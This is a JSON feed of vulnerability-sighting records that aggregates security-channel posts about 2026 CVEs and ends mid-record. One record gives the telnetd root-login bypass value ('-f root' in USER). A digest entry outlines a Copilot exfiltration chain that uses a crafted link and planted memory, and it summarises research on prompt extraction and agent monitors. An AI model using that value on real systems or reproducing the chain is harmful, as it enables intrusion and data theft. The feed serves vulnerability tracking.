{"uuid": "82259606-e86b-4a31-ad4e-4f75aaf6e164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/proxy_bar/3098", "content": "CVE-2026-24061 \n*\nTelnet RCE Exploit \ud83d\ude43", "creation_timestamp": "2026-07-21T00:00:27.191097Z"}, {"uuid": "d03504ea-3619-4c6f-a52d-7484cc55c75c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/9854", "content": "Fortinet Patches CVE-2026-24858 After Active FortiOS SSO Exploitation Detected \u2013 thehackernews.com\n\nWed, 28 Jan 2026 12:49:00", "creation_timestamp": "2026-07-21T00:00:22.686849Z"}, {"uuid": "5da21b3a-43ab-45be-a306-aee47805cc30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/proxy_bar/3153", "content": "CVE-2026-2441 \u2014 Chrome \n*\nPoC", "creation_timestamp": "2026-07-21T00:00:24.846039Z"}, {"uuid": "1e0330e6-cdc2-40bc-a42c-b327f8217c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2472", "type": "seen", "source": "https://t.me/proxy_bar/3168", "content": "CVE-2026-2472 \n*\nUnauthenticated and Stored Cross-Site Scripting (XSS) in google-cloud-aiplatform _genai/_evals_visualization (Vertex AI Python SDK) affecting Jupyter/Colab. \n*\nTechnical PoC", "creation_timestamp": "2026-07-21T00:00:24.938479Z"}, {"uuid": "6b5808bf-1d15-455d-b110-6e826d273409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24770", "type": "seen", "source": "Telegram/WS-hYEtdIfZSQjyhvqhHuMm-qpPoDr-hpgTUMrVXQIjtkw", "content": "", "creation_timestamp": "2026-07-21T00:00:29.482897Z"}, {"uuid": "048c7a70-8171-4187-a887-3fc47bc4da2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "Telegram/Nk8oqZX6swvt48pLr8k2ylfZzKUt7GAHf9fsXfnE8IvlKg", "content": "", "creation_timestamp": "2026-07-21T00:00:29.554098Z"}, {"uuid": "c8947166-6cb7-46ca-b567-50afbb0ce59b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "Telegram/v_quhm6TSY4WUmlViGfERUVGMhLLXIbM3Xnwg_0w-GH3K6g", "content": "", "creation_timestamp": "2026-07-21T00:00:40.046840Z"}, {"uuid": "2f46db95-9ae7-4acf-bfff-d422a5b3b349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/cve0day/261", "content": "CVE-2026-24061\n\ntelnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a \"-f root\" value for the USER environment variable.\n\nGitHub Link:\nhttps://github.com/setuju/telnetd", "creation_timestamp": "2026-08-27T15:00:12.668896Z"}, {"uuid": "ed99e97f-1fe1-4f93-8138-9b27ff192534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24688", "type": "seen", "source": "https://t.me/cve0day/438", "content": "CVE-2026-24688\n\npypdf is a free and open-source pure-python PDF library. An attacker who uses an infinite loop vulnerability that is present in versions prior to 6.6.2 can craft a PDF which leads to an infinite loop. This requires accessing the outlines/bookmarks. This has been fixed in pypdf 6.6.2. If projects cannot upgrade yet, consider applying the changes from PR #3610 manually.", "creation_timestamp": "2026-08-27T15:00:06.548919Z"}, {"uuid": "4a754ffc-00b9-49a8-b76a-09ef5637e6ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/BMLRzi6GxNLh9Y-kste7qnOEyxUjpKwyZDAyz25BJw9R9vo", "content": "", "creation_timestamp": "2026-08-28T00:00:43.334975Z"}, {"uuid": "03ea5540-6509-4655-9404-706859d0ffcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24232", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr6gr6jdha2b", "content": "CVE-2026-24232 - NVIDIA Transformers4Rec Improper Deserialization Vulnerability\nCVE ID : CVE-2026-24232\n \n Published : July 21, 2026, 5:17 p.m. | 28\u00a0minutes ago\n \n Description : NVIDIA Tranformers4Rec contains a vulnerability where an attacker could cause improper deserializat...", "creation_timestamp": "2026-07-21T18:27:53.249666Z"}, {"uuid": "d30f8016-2058-41bd-849e-b7ac1bcd31ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24451", "type": "published-proof-of-concept", "source": "https://github.com/go-gitea/gitea/security/advisories/GHSA-wrf9-r3h7-7x5v", "content": "", "creation_timestamp": "2026-07-21T22:35:20.854027Z"}, {"uuid": "4e9fb54c-9ac8-451d-bed3-dc432bf75e38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24770", "type": "published-proof-of-concept", "source": "Telegram/WS-hYEtdIfZSQjyhvqhHuMm-qpPoDr-hpgTUMrVXQIjtkw", "content": "", "creation_timestamp": "2026-07-22T00:00:21.488804Z"}, {"uuid": "3450af16-68c7-4f8d-8655-2aea492957f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "published-proof-of-concept", "source": "Telegram/Nk8oqZX6swvt48pLr8k2ylfZzKUt7GAHf9fsXfnE8IvlKg", "content": "", "creation_timestamp": "2026-07-22T00:00:21.460446Z"}, {"uuid": "8bf1e175-f46d-4808-9a85-d614d51cc7c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2472", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3168", "content": "CVE-2026-2472 \n*\nUnauthenticated and Stored Cross-Site Scripting (XSS) in google-cloud-aiplatform _genai/_evals_visualization (Vertex AI Python SDK) affecting Jupyter/Colab. \n*\nTechnical PoC", "creation_timestamp": "2026-07-22T00:00:27.743534Z"}, {"uuid": "75e3cd39-aea0-4c64-8175-d94fca5e4e27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3098", "content": "CVE-2026-24061 \n*\nTelnet RCE Exploit \ud83d\ude43", "creation_timestamp": "2026-07-22T00:00:26.974999Z"}, {"uuid": "271cdd42-4f0c-4648-9685-4ca5cd2cc5d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/proxy_bar/3095", "content": "CVE-2026-24061\n*\nAllinONE", "creation_timestamp": "2026-07-22T00:00:27.010708Z"}, {"uuid": "7851034f-536b-45f4-976d-0f64a4eb4eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/3153", "content": "CVE-2026-2441 \u2014 Chrome \n*\nPoC", "creation_timestamp": "2026-07-22T00:00:27.829662Z"}, {"uuid": "e1b94c00-babd-441a-8b73-5f97dc2b0197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/9854", "content": "Fortinet Patches CVE-2026-24858 After Active FortiOS SSO Exploitation Detected \u2013 thehackernews.com\n\nWed, 28 Jan 2026 12:49:00", "creation_timestamp": "2026-07-22T00:00:31.083526Z"}, {"uuid": "59a52bda-2edb-4e56-a7e4-fa4e6c1f998a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/pphm_HackerNews/1253", "content": "Critical Browser Flaw Under Active Attack Prompts Immediate Update\n\nA critical security flaw in a major web browser engine \u2014 tracked as CVE-2026-2441 \u2014 is being actively exploited in the wild by threat actors to compromise endpoints. The vulnerability allows attackers to bypass internal security safeguards and execute code in the context of the browser process, elevating the risk of system compromise if users do not apply the issued updates promptly.\n\n\ud83d\udd17 Read More", "creation_timestamp": "2026-07-22T05:00:03.938510Z"}, {"uuid": "b32bf4ea-1d32-43c3-98af-7216c01e6bd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/pphm_HackerNews/1231", "content": "Decade-Long Security Oversight: Critical Flaw in Telnet Daemon Exposed\n\nA critical security vulnerability, identified as CVE-2026-24061, has been discovered in the GNU InetUtils telnet daemon (telnetd), affecting all versions from 1.9.3 to 2.7. This flaw, which has a CVSS score of 9.8, allows attackers to gain root access on affected systems, posing a significant security risk that has gone unnoticed for nearly 11 years.\n\n\ud83d\udd17 Read More", "creation_timestamp": "2026-07-22T05:00:04.421334Z"}, {"uuid": "7cf2365d-40c5-46dc-b9f4-a4b6ee602139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2406", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mra2e7rh5g2e", "content": "CVE-2026-2406 - IDOR in Universe Software's Online Registration and Workflow Management System\nCVE ID : CVE-2026-2406\n \n Published : July 22, 2026, 9:16 a.m. | 29\u00a0minutes ago\n \n Description : Authorization bypass through User-Controlled key vulnerability in Universe Software C...", "creation_timestamp": "2026-07-22T09:51:12.776743Z"}, {"uuid": "ac590817-2acc-4707-ad4a-293e3258f8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/pphm_HackerNews/1231", "content": "Decade-Long Security Oversight: Critical Flaw in Telnet Daemon Exposed\n\nA critical security vulnerability, identified as CVE-2026-24061, has been discovered in the GNU InetUtils telnet daemon (telnetd), affecting all versions from 1.9.3 to 2.7. This flaw, which has a CVSS score of 9.8, allows attackers to gain root access on affected systems, posing a significant security risk that has gone unnoticed for nearly 11 years.\n\n\ud83d\udd17 Read More", "creation_timestamp": "2026-07-23T00:00:25.788977Z"}, {"uuid": "29d56730-2393-4cab-b104-798c8dcd14b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/pphm_HackerNews/1253", "content": "Critical Browser Flaw Under Active Attack Prompts Immediate Update\n\nA critical security flaw in a major web browser engine \u2014 tracked as CVE-2026-2441 \u2014 is being actively exploited in the wild by threat actors to compromise endpoints. The vulnerability allows attackers to bypass internal security safeguards and execute code in the context of the browser process, elevating the risk of system compromise if users do not apply the issued updates promptly.\n\n\ud83d\udd17 Read More", "creation_timestamp": "2026-07-23T00:00:26.175298Z"}, {"uuid": "29af31a3-b95a-40a7-a621-c5ed783cf8ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://t.me/bhhub/1213", "content": "Weekly 8 AI & Cyber signals to act on (Aug 17\u201324, 2026)\n\n#AISecurity@bhhub\n\n\u2728 KeyPooling finds shared LLM cache identity. AI inference caches can cross tenant boundaries when gateways share upstream credentials: five tested gateways exposed cross-customer reads, and one controlled route recovered 16 bits in 128 victim-path requests. Bind cache keys to authenticated tenants; the paper estimates post-prefix isolation at 1.7\u20132.5% extra cost, but does not estimate real-world prevalence.\n\n\u2728 MaliciousSkillBench breaks scanner confidence. AI-agent skill defenses that scored up to .932 Macro-F1 on random splits fell to .653\u2013.665 on unseen sources across a 9,740-sample benchmark. One model kept 95.6% malicious recall only by flagging 62.4% of benign skills; validate scanners source-disjoint and budget for false positives.\n\n\u2728 LeakGauge spots context extraction before decoding. An LLM\u2019s own prefill probabilities reveal system-prompt and RAG leakage attempts: across 11 open models, unseen-attack AUROC was .944\u2013.996, with under 500 probe parameters and 10.34 ms added latency. A known single probe was evaded, so deployments need diverse probes; unrestricted adaptive robustness is unproven.\n\n\u2728 AID-Guard binds one approval to one effect. For tool-using AI agents, approval must survive retries, crashes and ambiguous provider results: a prototype blocked 44/44 compromised-proposer attacks and produced no duplicates across 290 Stripe, successor, race and recovery trials. The exact policy cut benign utility by 35.4\u201343.8 points, making safer typed profiles the research problem.\n\n#AppSec@bhhub\n\n\u2728 ARQ teaches agents to repair CodeQL. An execution-grounded LLM agent improved 12 official C/C++ queries, raised FormAI true positives by up to 119.8% at \u226598% precision, fixed three long-open CodeQL issues, and found two new zlib/libpng bugs. Pure-LLM editing regressed in five of six settings: generated witness programs are the critical feedback loop.\n\n#RedTeam@bhhub\n\n\u2728 CoSnitch makes Copilot leak via one link. Copilot\u2019s prompt autorun, connectors, fetch and persistent memory formed an AI-specific exfiltration chain: after a victim opened a crafted link, researchers read connected data and planted memory that survived password reset. Microsoft patched CVE-2026-24301 (CVSS 8.8); Varonis reports no in-the-wild exploitation.\n\n#BlueTeam@bhhub\n\n\u2728 ClawSentry guards the full agent lifecycle. Monitoring AI skills from admission through post-action effect cut contextual attack success on Codex/GPT-5.4 from 39.55% to 2.61% with task success nearly flat, and reduced attacks across five agents to 9.09\u201315.03%. Poisoned-package utility still fell and clean false blocks reached 5.7\u20137.5% in stress tests.\n\n\u2728 CTIFoundry makes small AI investigators beat a flagship. A typed CTI graph, narrow tools and procedural skills lifted agent F1 from .610 to .829 for GPT-5.4 and .470 to .745 for Claude Haiku; a 2\u00d72 ablation isolated super-additive gains from structure plus procedure. Code is not public yet, and attribution still needs human review.", "creation_timestamp": "2026-08-25T00:00:24.643263Z"}, {"uuid": "ba7b9058-5d07-4b77-83e2-4bb3d94613d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24218", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mrd65npwpo22", "content": "\ud83d\udccc CVE-2026-24218 - NVIDIA DGX OS contains a vulnerability in the factory provisioning process, where  the cloning of a base image causes identical SSH host keys to be de... https://www.cyberhub.blog/cves/CVE-2026-24218", "creation_timestamp": "2026-07-23T15:37:06.855086Z"}, {"uuid": "81978f14-909e-451d-b02d-edcdb665ae33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/CyberDispatch/583", "content": "An 11-year-old critical flaw in GNU InetUtils telnetd lets attackers log in as root with no password.\n\nTracked as CVE-2026-24061 (CVSS 9.8), it affects all versions 1.9.3\u20132.7 due to an unsanitized USER environment value passed to login.", "creation_timestamp": "2026-08-30T00:00:48.982576Z"}, {"uuid": "0d7fff47-ac03-4cee-b9a8-bf2d6c9a8732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100151", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061-payload\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a iLokaas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-28 20:18:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-28T23:00:04.053573Z"}, {"uuid": "0e8d9cd3-4acb-4d9d-b78f-1813fecd67d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/CyberDispatch/583", "content": "An 11-year-old critical flaw in GNU InetUtils telnetd lets attackers log in as root with no password.\n\nTracked as CVE-2026-24061 (CVSS 9.8), it affects all versions 1.9.3\u20132.7 due to an unsanitized USER environment value passed to login.", "creation_timestamp": "2026-08-29T20:00:23.439135Z"}, {"uuid": "c0f3d1ff-3aa1-4bc0-8212-f707f1a24469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2401", "type": "published-proof-of-concept", "source": "Telegram/BrXON8gNeY0TgYOldBGmy8eXN4KAcGl403oVE9n7y3zyAw", "content": "", "creation_timestamp": "2026-08-27T00:00:10.864714Z"}, {"uuid": "014d9bf0-747d-40a8-8553-5a9ad48b35a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100151", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061-payload\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a iLokaas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-28 20:18:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA PoC exploit for CVE-2026-24061 - GNU InetUtils telnetd Argument Injection Authentication Bypass \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-29T00:00:07.211456Z"}, {"uuid": "136da823-6d4f-4831-96c1-bed0ec2f3bee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24727", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrezyphgeo24", "content": "CVE-2026-24727 - corporate training management system\nAn attacker with admin privileges can upload malicious files, potentially allowing them to execute arbitrary commands on the system. This could lead to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#sunnet #CVE #infosec", "creation_timestamp": "2026-07-24T09:28:05.006603Z"}, {"uuid": "1b01df98-001d-43f2-8a85-d38ae0db64fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24727", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116974487217978733", "content": "CVE-2026-24727 (CRITICAL, CVSS 9.3): SUNNET Corporate Training Mgmt System v10.3 allows admins to upload ZIP files with executable code, enabling server command execution. No patch yet \u2014 restrict admin access & monitor uploads. https://radar.offseq.com/threat/cve-2026-24727-cwe-434-unrestricted-upload-of-file-with-dangerous-type-in-sunnet-technology-co-ltd-fe23deeb060f5b6d #OffSeq #CVE202624727 #infosec \ud83d\udee1\ufe0f", "creation_timestamp": "2026-07-24T10:30:26.874854Z"}, {"uuid": "1859518d-0fa0-4999-a9f1-a3a98029c120", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24727", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mrf5ib67b32h", "content": "SUNNET Corporate Training Mgmt System v10.3 has a CRITICAL flaw: admins can upload ZIPs with executable files, enabling command execution. No patch \u2014 restrict admin access & monitor uploads. https://radar.offseq.com/threat/cve-2026-24727-cwe-434-unrestricted-upload-of-file-with-dangerous-type-in-...", "creation_timestamp": "2026-07-24T10:30:29.058622Z"}, {"uuid": "cc2cc56f-be96-4253-8afe-533c1db06061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/261", "content": "CVE-2026-24061\n\ntelnetd in GNU Inetutils through 2.7 allows remote authentication bypass via a \"-f root\" value for the USER environment variable.\n\nGitHub Link:\nhttps://github.com/setuju/telnetd", "creation_timestamp": "2026-08-29T00:00:30.209961Z"}, {"uuid": "d775f515-9dc7-47bb-830c-84b5ed8ce616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/NMliPdq6XFz_Jgn9RIGt4tIra5m-mGEswkR7DxnC7-Sc-xI", "content": "", "creation_timestamp": "2026-07-26T07:00:05.076679Z"}, {"uuid": "b5c1d6e9-b403-4fc7-91bd-caee5490c448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://t.me/ZerodayAlert/686", "content": "\u0412 Apache \u043d\u0430\u0448\u043b\u0438 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u2014 \u0432\u044b\u0448\u0435\u043b \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447\n\nApache Software Foundation \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b Apache HTTP Server 2.4.67, \u0437\u0430\u043a\u0440\u044b\u0432 \u0441\u0440\u0430\u0437\u0443 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412\u0441\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e 2.4.66 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e.\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-23918 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 8,8 \u043f\u043e CVSS \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 HTTP/2. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24072 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043c\u043e\u0434\u0443\u043b\u044c mod_rewrite \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0447\u0435\u0440\u0435\u0437 .htaccess. \u0422\u0440\u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043c\u043e\u0434\u0443\u043b\u0438 mod_proxy_ajp, mod_md \u0438 mod_dav_lock \u2014 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0441\u0431\u043e\u0439 \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n#apache #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 #\u0432\u0435\u0431\u0441\u0435\u0440\u0432\u0435\u0440 \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:07.700858Z"}, {"uuid": "0e9c0816-b66d-4371-be50-6342f27b1c45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/ZerodayAlert/638", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Telnet: \u043a\u043e\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0432\u0432\u043e\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u044f\n\n\ud83d\udd13 \u0412 GNU InetUtils telnetd \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-32746, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043b\u043e\u043c\u0430\u0435\u0442 \u0432\u0441\u0435 \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430. \u041e\u0431\u044b\u0447\u043d\u043e 